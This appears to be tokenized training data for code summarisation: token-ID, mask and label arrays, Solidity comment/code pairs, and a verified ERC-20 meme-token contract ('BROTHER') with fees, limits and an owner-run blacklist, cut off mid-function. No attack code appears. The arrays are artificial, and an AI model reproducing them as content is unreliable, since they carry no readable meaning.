[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 2108, 2126, 6275, 951, 1299, 1190, 9446, 287, 691, 12, 2867, 389, 2867, 16, 2254, 5034, 389, 3465, 13, 7010, 3639, 3903, 7010, 3639, 3849, 203, 3639, 1476, 7010, 3639, 1135, 261, 11890, 5034, 13, 7010, 565, 288, 203, 3639, 3423, 9446, 287, 691, 3778, 729, 691, 273, 729, 1190, 9446, 287, 6421, 63, 67, 2867, 6362, 67, 3465, 15533, 203, 3639, 467, 5126, 9535, 4213, 9535, 273, 467, 5126, 9535, 12, 1355, 691, 18, 7357, 1887, 1769, 203, 3639, 467, 5126, 9535, 18, 15608, 639, 984, 26425, 3778, 640, 26425, 273, 4213, 9535, 18, 318, 70, 4096, 67, 2704, 12, 2867, 12, 2211, 3631, 729, 691, 18, 7357, 13611, 1769, 203, 203, 3639, 327, 640, 26425, 18, 30720, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/43113/0x05Ed8abeef9EdE006bc8dFc9B3D272441D370488/sources/apps/avai/src/contracts/Stablecoin.sol
* @dev Set the opening fee for this vault/
function setOpeningFee(uint256 bankID, uint256 amount) external onlyRole(DEFAULT_ADMIN_ROLE) { IBank(banks[bankID]).setOpeningFee(amount); }
7,165,368
[ 1, 694, 326, 10890, 14036, 364, 333, 9229, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 444, 21378, 14667, 12, 11890, 5034, 11218, 734, 16, 2254, 5034, 3844, 13, 203, 565, 3903, 203, 565, 1338, 2996, 12, 5280, 67, 15468, 67, 16256, 13, 203, 225, 288, 203, 565, 467, 16040, 12, 10546, 87, 63, 10546, 734, 65, 2934, 542, 21378, 14667, 12, 8949, 1769, 203, 225, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/84531/0xd7149865d07cCfdfB10f858AFAb297A8251882Cc/sources/contracts/api/Positions.sol
Update position and transfer margin out
position.margin = remainingMargin;
11,525,774
[ 1, 1891, 1754, 471, 7412, 7333, 596, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 1754, 18, 10107, 273, 4463, 9524, 31, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/** *Submitted for verification at Etherscan.io on 2022-03-02 */ /* Telegram https://t.me/BrotherETH */ // SPDX-License-Identifier: MIT pragma solidity ^0.6.12; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () public { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 9; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } contract BROTHER is ERC20, Ownable { using SafeMath for uint256; address public constant DEAD_ADDRESS = address(0xdead); IUniswapV2Router02 public constant uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uint256 public buyLiquidityFee = 3; uint256 public sellLiquidityFee = 3; uint256 public buyTxFee = 9; uint256 public sellTxFee = 9; uint256 public tokensForLiquidity; uint256 public tokensForTax; uint256 public _tTotal = 10**9 * 10**9; // 1 billion uint256 public swapAtAmount = _tTotal.mul(10).div(10000); // 0.10% of total supply uint256 public maxTxLimit = _tTotal.mul(75).div(10000); // 0.75% of total supply uint256 public maxWalletLimit = _tTotal.mul(150).div(10000); // 1.50% of total supply address public dev; address public immutable deployer; address public uniswapV2Pair; uint256 private launchBlock; bool private swapping; bool public isLaunched; // exclude from fees mapping (address => bool) public isExcludedFromFees; // exclude from max transaction amount mapping (address => bool) public isExcludedFromTxLimit; // exclude from max wallet limit mapping (address => bool) public isExcludedFromWalletLimit; // if the account is blacklisted from transacting mapping (address => bool) public isBlacklisted; constructor(address _dev) public ERC20("Brother Token", "BROTHER") { uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); _approve(address(this), address(uniswapV2Router), type(uint256).max); // exclude from fees, wallet limit and transaction limit excludeFromAllLimits(owner(), true); excludeFromAllLimits(address(this), true); excludeFromWalletLimit(uniswapV2Pair, true); dev = _dev; deployer = _msgSender(); /* _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again */ _mint(owner(), _tTotal); } function excludeFromFees(address account, bool value) public onlyOwner() { require(isExcludedFromFees[account] != value, "Fees: Already set to this value"); isExcludedFromFees[account] = value; } function excludeFromTxLimit(address account, bool value) public onlyOwner() { require(isExcludedFromTxLimit[account] != value, "TxLimit: Already set to this value"); isExcludedFromTxLimit[account] = value; } function excludeFromWalletLimit(address account, bool value) public onlyOwner() { require(isExcludedFromWalletLimit[account] != value, "WalletLimit: Already set to this value"); isExcludedFromWalletLimit[account] = value; } function excludeFromAllLimits(address account, bool value) public onlyOwner() { excludeFromFees(account, value); excludeFromTxLimit(account, value); excludeFromWalletLimit(account, value); } function setBuyFee(uint256 liquidityFee, uint256 txFee) external onlyOwner() { 